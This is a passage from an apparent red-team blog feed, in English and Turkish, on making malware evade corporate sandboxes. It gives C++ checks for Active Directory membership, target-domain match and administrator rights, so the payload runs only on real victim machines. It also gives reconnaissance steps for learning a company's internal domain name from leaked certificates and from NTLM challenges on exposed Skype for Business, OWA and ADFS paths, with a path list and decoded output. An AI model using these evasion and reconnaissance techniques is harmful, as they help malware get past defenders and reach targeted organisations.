   &lt;span class=&quot;n&quot;&gt;dwCode&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;DsRoleGetPrimaryDomainInformation&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;DsRolePrimaryDomainInfoBasic&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PBYTE&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dsRoleInfo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  
   &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dwCode&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ERROR_SUCCESS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
       &lt;span class=&quot;n&quot;&gt;memberOfAD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;FALSE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
   &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

   &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dsRoleInfo&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;DomainForestName&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dsRoleInfo&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;DomainNameDns&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
       &lt;span class=&quot;n&quot;&gt;memberOfAD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;TRUE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
   &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

   &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;memberOfAD&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;&lt;strong&gt;Mistake-3:&lt;/strong&gt; We can take the technique I explained in the previous step to higher level. In the previous step, we made a query about the target system’s domain (Active Directroy) integration. We can also check for integration directly for a specific domain. For example, our target company is DZ Corp Inc. and they use a domain named dzcorp.local on their internal network. In the previous step, we ensured that our malware works on a system that belongs to the domain, now we will enable it to work only in the domain with the name dzcorp.local. For this, we need to find the DNS name for the target system’s domain. There are two traceable steps for this.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Finding disclosed SSL certificates&lt;/li&gt;
  &lt;li&gt;Finding a directory that is accessible from the Internet and allows NTLM Autentication
    &lt;ul&gt;
      &lt;li&gt;Finding the Skype for Business (formerly Microsoft Lync or Microsoft Office Communicator) server&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;disclosed-ssl-certificates&quot;&gt;Disclosed SSL Certificates&lt;/h2&gt;
&lt;p&gt;There are many systems on the internet that scan and record certificates. Companies can sometimes use their internal network certificates in their internet-enabled systems. The domain name of the certificate created for use in the internal network can usually be the DNS name of the internal domain. In such cases, you can find the DNS name of the domain used inside.&lt;/p&gt;

&lt;h2 id=&quot;directories-that-allow-ntlm-authentication&quot;&gt;Directories That Allow NTLM Authentication&lt;/h2&gt;
&lt;p&gt;Companies use a variety of technologies and some of them feature NTLM Authentication. Some of these are given below.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;OWA Servers&lt;/li&gt;
  &lt;li&gt;Skype for Business (formerly Microsoft Lync or Microsoft Office Communicator)&lt;/li&gt;
  &lt;li&gt;Autodiscover Servers (autodiscover.domain.com and lyncdiscover.domain.com)&lt;/li&gt;
  &lt;li&gt;ADFS Servers&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For example, if the target company is using Skype for Business and this server is open to the Internet, you can find it with Subdomain Bruteforce. For example, once we find Subdomain for Skype for Business, we need to find a directory with NTLM Authentication by requesting one of the directories below. I have given the following possible directories.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;/abs/
/adfs/services/trust/2005/windowstransport
/aspnet_client/
/autodiscover/
/autoupdate/
/certenroll/
/certprov/
/certsrv/
/conf/
/deviceupdatefiles_ext/
/deviceupdatefiles_int/
/dialin/
/ecp/
/etc/
/ews/
/exchange/
/exchweb/
/hybridconfig/
/groupexpansion/
/mcx/
/mcx/mcxservice.svc
/meet/
/meeting/
/microsoft-server-activesync/
/oab/
/ocsp/
/owa/
/persistentchat/
/phoneconferencing/
/powershell/
/public/
/reach/sip.svc
/requesthandler/
/requesthandlerext/
/rgs/
/rgsclients/
/rpc/
/rpcwithcert/
/scheduler/
/ucwa/
/unifiedmessaging/
/webticket/
/webticket/webticketservice.svc&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;After finding a directory that requires NTLM Authentication, all that remains is to find the DNS name of the domain used in the internal network. When you make a request to one of the directories I gave above for Skype for Business, if NTLM Authentication is active, monitor its traffic using an HTTP (S) proxy. Try to login with any account information. The server will respond with an HTTP 401 (Unauthorized) status code and a value starting with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WWW-Authenticate&lt;/code&gt; header information &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;TlRMTVNTUAACAAAA...&lt;/code&gt;. Here, in this &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WWW-Authenticate&lt;/code&gt; header information, the domain DNS name used by the target company is mentioned. By reading this binary data, you will get a value as follows.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-plain&quot; data-lang=&quot;plain&quot;&gt;Msg Type: 2 (Challenge)
Target Name: u'HLLDZ' [123456233fsdfe0112900aaaa00] (05b @11)
Challenge: 0xaaaaaaaaaaaaaaaa
Context: '' [] (0b @0)
Target: [block] (111b @11)
    AD domain name (2): HLLDZ
    Server name (1): SRV0001
    DNS domain name (4): hlldz.dzcorp.local
    FQDN (3): srv0001.hlldz.dzcorp.local
    Parent DNS domain (5): dzcorp.local&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;You now have information about the target company’s domain DNS name. You can develop your malware to work according to the answers to the following questions; Is the system you are running integrated into a domain? If so, is this domain named “dzcorp.local”?&lt;/p&gt;

&lt;p&gt;To do this, you can compare the values of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dsRoleInfo-&amp;gt;DomainForestName&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dsRoleInfo-&amp;gt;DomainNameDns&lt;/code&gt; in the code below with the domain DNS name of the target company.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;&lt;span class=&quot;kt&quot;&gt;bool&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;isMemberOfTargetAD&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
   &lt;span class=&quot;kt&quot;&gt;bool&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;isMemberOfTargetAD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;FALSE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

   &lt;span class=&quot;n&quot;&gt;DSROLE_PRIMARY_DOMAIN_INFO_BASIC&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;dsRoleInfo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
   &lt;span class=&quot;n&quot;&gt;DWORD&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;dwCode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

   &lt;span class=&quot;n&quot;&gt;dwCode&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;DsRoleGetPrimaryDomainInformation&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;DsRolePrimaryDomainInfoBasic&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PBYTE&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dsRoleInfo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  
   &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dwCode&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ERROR_SUCCESS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
       &lt;span class=&quot;n&quot;&gt;isMemberOfTargetAD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;FALSE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
   &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

   &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dsRoleInfo&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;DomainForestName&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dsRoleInfo&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;DomainNameDns&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;// Compare dsRoleInfo-&amp;gt;DomainForestName or dsRoleInfo-&amp;gt;DomainNameDns with target information&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;// Then return TRUE or FALSE&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;isMemberOfTargetAD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;TRUE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
   &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

   &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;isMemberOfTargetAD&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Happy hunting!&lt;/p&gt;

&lt;h2 id=&quot;references&quot;&gt;References&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/a/10553065&quot;&gt;How to check whether a Windows user has admin privileges in C?&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/api/dsrole/nf-dsrole-dsrolegetprimarydomaininformation&quot;&gt;DsRoleGetPrimaryDomainInformation function&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><author><name></name></author><summary type="html">Today, many companies, especially large companies, use both online and offline sandbox solutions. We can say that sandbox technology is the backbone of a cyber defense center. Because malicious files are constantly coming to your company! It’s hard to find more than one “really” trained malware analyst, and even if you find the right people to do the job, they have to do it over and over again. Long story short, you need a sandbox solution and if you are already using sandbox technology, you are doing well.</summary></entry><entry><title type="html">Odysseus’un Truva Atı</title><link href="/2020/09/14/odysseusun-truva-ati.html" rel="alternate" type="text/html" title="Odysseus’un Truva Atı" /><published>2020-09-14T16:37:00+03:00</published><updated>2020-09-14T16:37:00+03:00</updated><id>/2020/09/14/odysseusun-truva-ati</id><content type="html" xml:base="/2020/09/14/odysseusun-truva-ati.html">&lt;p&gt;Günümüzde, başta büyük şirketler olmak üzere birçok şirket hem online hem de offline sandbox çözümleri kullanmaktadır. Sandbox teknolojisi bir siber savunma merkezinin bel kemiğidir diyebiliriz. Çünkü sürekli olarak şirketinize zararlı dosyalar geliyor! “Gerçekten” yetişmiş birden fazla zararlı yazılım analisti bulmak zor ve bu işi yapacak doğru kişileri bulsanız bile bunu defalarca yapmaları gerekmektedir. Uzun lafı kısası bir sandbox çözümüne ihtiyacınız var ve hali hazırda bir sandbox teknolojisi kullanıyorsanız iyi şeyler yapıyorsunuz demektir.&lt;/p&gt;

&lt;p&gt;Sandbox teknolojisinin günümüzdeki durumunda, özellikle hypervisor seviyesinde analiz yapabilenler sandboxlar öne çıkmaktadır. Bu tür sandboxların bypass edilmesi görece olarak daha zor kabul edilmektedir. Bu tür sandboxlar standart haline gelmiş anti-sanbox tekniklerini anlayabilmektedir ve karşı aksiyon alabilmektedir. Eğer bir sandbox teknolojisi kullanıyorsanız ve bu sandbox teknolojisi hypervisor seviyesinde analiz yapabiliyorsa iyi şeyleri doğru şekilde yapıyorsunuz demektir.&lt;/p&gt;

&lt;p&gt;Hypervisor seviyesinde analiz yapan sandboxlar gibi ileri düzey analizler ve tespitler yapabilen sanboxları bypass etmek için tercih edeceğiniz yol kullanıcı etkileşimi gerektiren zararlı yazılımlar geliştirmektir. Örneğin, &lt;a href=&quot;https://github.com/hlldz/pickl3&quot;&gt;Pickl3&lt;/a&gt; projesini zararlı yazılımınıza entegre edebilirsiniz. Entegrasyonu tamamladığınızda, Pickl3 hedef kullanıcıdan doğru Windows hesap bilgisini girmesini bekleyecektir. Eğer hedef kullanıcı doğru hesap bilgisini girerse zararlı yazılımınızı çalıştıracaksınız ve “KA-BOOM!” sandbox’ı çok yüksek ihtimal ile bypass etmiş olacaksınız. Ancak ben bu yazı içerisinde daha önce birçok operasyonda uyguladığım ve başarılı olduğum bir tekniği paylaşacağım. Bu teknik bana hep Odysseus’un Truva Atı’nı hatırlatmıştır.&lt;/p&gt;

&lt;h2 id=&quot;yapılan-hatalar-ve-sonuçları&quot;&gt;Yapılan Hatalar ve Sonuçları&lt;/h2&gt;

&lt;p&gt;Sandbox teknolojisi her ne kadar gelişmiş olsa bile şirketler, sandbox içerisindeki çalışan işletim sistemini sıkılaştırmamaktadır. Red Team Operasyonlarını gerçekleştirenler veya saldırganlar, öncelikli olarak son kullanıcıları hedef alır. Şimdi sizinle beraber ortalama bir şirketin son kullanıcısının sistem özellikleri üzerinden neler yapabiliriz ona değinelim. Aşağıda bazı hatalardan ve neler yapabileceğimizden bahsettim.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Hata-1:&lt;/strong&gt; Neredeyse her sandbox analiz yaparken zararlı yazılımı Administrator haklarında çalıştırır. Zararlı yazılımınızı şu sorunun cevabına göre çalışacak şekilde geliştirebilirsiniz; Administrator haklarına sahip misin?&lt;/p&gt;

&lt;p&gt;Eğer Administrator haklarına sahip değil ise çalışmasını sağlayabilir ve sandbox’ı bypass edebilirsiniz. Bunun için &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GetTokenInformation&lt;/code&gt; ve &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AllocateAndInitializeSid&lt;/code&gt; API’ları bize gereken bilgiyi verecektir. Örnek C++ kodunu aşağıda verdim.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;&lt;span class=&quot;kt&quot;&gt;bool&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;isAdministrator&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;HANDLE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;access_token&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;DWORD&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buffer_size&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;PSID&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;admin_SID&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;TOKEN_GROUPS&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;group_token&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;SID_IDENTIFIER_AUTHORITY&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;NT_authority&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SECURITY_NT_AUTHORITY&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;OpenProcessToken&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GetCurrentProcess&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;TOKEN_READ&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;access_token&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

	&lt;span class=&quot;n&quot;&gt;GetTokenInformation&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;access_token&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;TokenGroups&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;group_token&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
		&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
		&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buffer_size&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

	&lt;span class=&quot;n&quot;&gt;std&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;vector&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buffer_size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

	&lt;span class=&quot;n&quot;&gt;group_token&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;reinterpret_cast&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;TOKEN_GROUPS&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;

	&lt;span class=&quot;kt&quot;&gt;bool&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;succeeded&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;GetTokenInformation&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;access_token&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;TokenGroups&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;group_token&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;buffer_size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
		&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buffer_size&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

	&lt;span class=&quot;n&quot;&gt;CloseHandle&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;access_token&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;succeeded&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;AllocateAndInitializeSid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
		&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;NT_authority&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
		&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;SECURITY_BUILTIN_DOMAIN_RID&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;DOMAIN_ALIAS_RID_ADMINS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
		&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
		&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;admin_SID&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

	&lt;span class=&quot;kt&quot;&gt;bool&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;found&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;size_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;found&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;group_token&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GroupCount&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
